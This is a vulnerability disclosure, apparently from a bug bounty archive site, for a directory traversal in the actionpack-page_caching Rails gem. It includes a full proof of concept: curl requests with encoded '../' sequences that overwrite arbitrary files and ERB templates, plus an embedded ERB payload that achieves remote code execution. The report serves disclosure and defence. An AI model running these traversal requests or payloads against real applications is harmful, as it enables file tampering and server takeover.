File writing by Directory traversal at actionpack-page_caching and RCE by it
The actionpack-page_caching gem did not sanitise URL paths when constructing cache file paths, allowing directory traversal. An attacker could write cache files to arbitrary locations, potentially overwriting files and achieving remote code execution by overwriting ERB templates.
- Fixed in 13 months
- Paid in 21 months
- Disclosed after 15 months
I found a directory traversal in actionpack-page_caching.
Some code may lead to RCE.
def cache_file(path, extension)
if path.empty? || path =~ %r{\A/+\z}
name = "/index"
else
name = URI.parser.unescape(path.chomp("/"))
end
if File.extname(name).empty?
name + (extension || default_extension)
else
name
end
end
def cache_path(path, extension = nil)
File.join(cache_directory, cache_file(path, extension))
end
The problem is that traversal is not considered in cache_path or cache_file.
Since the URL can use . or/encoded values, the cache will be written in an unexpected place.
PoC
step 1. Prepare server
ruby -v
rails -v
rails new caching_traversal
cd caching_traversal
# add `gem "actionpack-page_caching"` in Gemfile
bundle install
rails generate scaffold book name:string
rails db:migrate
step 2. Setting cache
Enable caching.
rails dev:cache
Add caches_page.
# app/controllers/books_contorller.rb
class BooksController < ApplicationController
before_action :set_book, only: [:show, :edit, :update, :destroy]
caches_page :show
step 3. Start server
Start the server with "rails s".
Prepare a book with the following name.
<% `toouch me` %>
Check cache behavior.
❯ curl "http://localhost:3000/books/1"
<!DOCTYPE html>
...
<p>
<strong>Name:</strong>
<% `touch me` %>
</p>
...
❯ ls public
404.html 500.html apple-touch-icon.png favicon.ico
422.html apple-touch-icon-precomposed.png books robots.txt
❯ cat public/books/1.html
<!DOCTYPE html>
...
<p>
<strong>Name:</strong>
<% `touch me` %>
</p>
...
step 4. Attack
Add an attack code to the pass and check the result.
❯ curl "http://localhost:3000/books/1%2f%2e%2e%2f%2e%2e%2f%2e%2e%2ftest"
# test file is generated
❯ ls
app config db Gemfile.lock log public README.md test tmp
bin config.ru Gemfile lib package.json Rakefile storage test.html vendor
❯ curl "http://localhost:3000/books/1%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fREADME%2emd"
# If the file exists it will be overwritten
❯ cat README.md
...
<p>
<strong>Name:</strong>
<% `touch me` %>
</p>
...
step 5. RCE
RCE is possible if it is possible to create a cache where the value of <% is not escaped, like render for text.
Generate the file app/views/books/show.text.erb as follows:
name: <%= @ book.name %>
Overwriting erb files enables RCE.
# overwrite erb
❯ curl "http://localhost:3000/books/1%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fapp%2fviews%2fbooks%2fshow%2etext%2eerb?format=text"
name: <% `touch me` %>
❯ cat app/views/books/show.text.erb
name: <% `touch me` %>
# executed `touch me`
❯ curl "http://localhost:3000/books/1.txt"
name:
# me file is generated
❯ ls
app config db Gemfile.lock log package.json Rakefile storage test.html vendor
bin config.ru Gemfile lib me public README.md test tmp
Impact
The cache is generated on an unintended path. Also, RCE may be possible.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
The cache is generated on an unintended path, and RCE may be possible.
What the attacker needed
Rails app using actionpack-page_caching; Page caching enabled; Attacker can send crafted HTTP requests
How it was found
- Set up a Rails app with the actionpack-page_caching gem and enable caching.
- Add caches_page :show to a controller.
- Start the server and create a book record.
- Send a request with a path traversal payload in the URL to write a file outside the cache directory.
- Overwrite an ERB template file with malicious content.
- Request the cached page to execute the injected code.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Page caching saves a copy of a web page as a file on the server. The gem built the file path from the URL without checking for '..' sequences, so an attacker could use a crafted URL to make the server write a file outside the intended cache folder. This could overwrite important files and, in some cases, let the attacker run commands on the server.
What is Path traversal?
Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.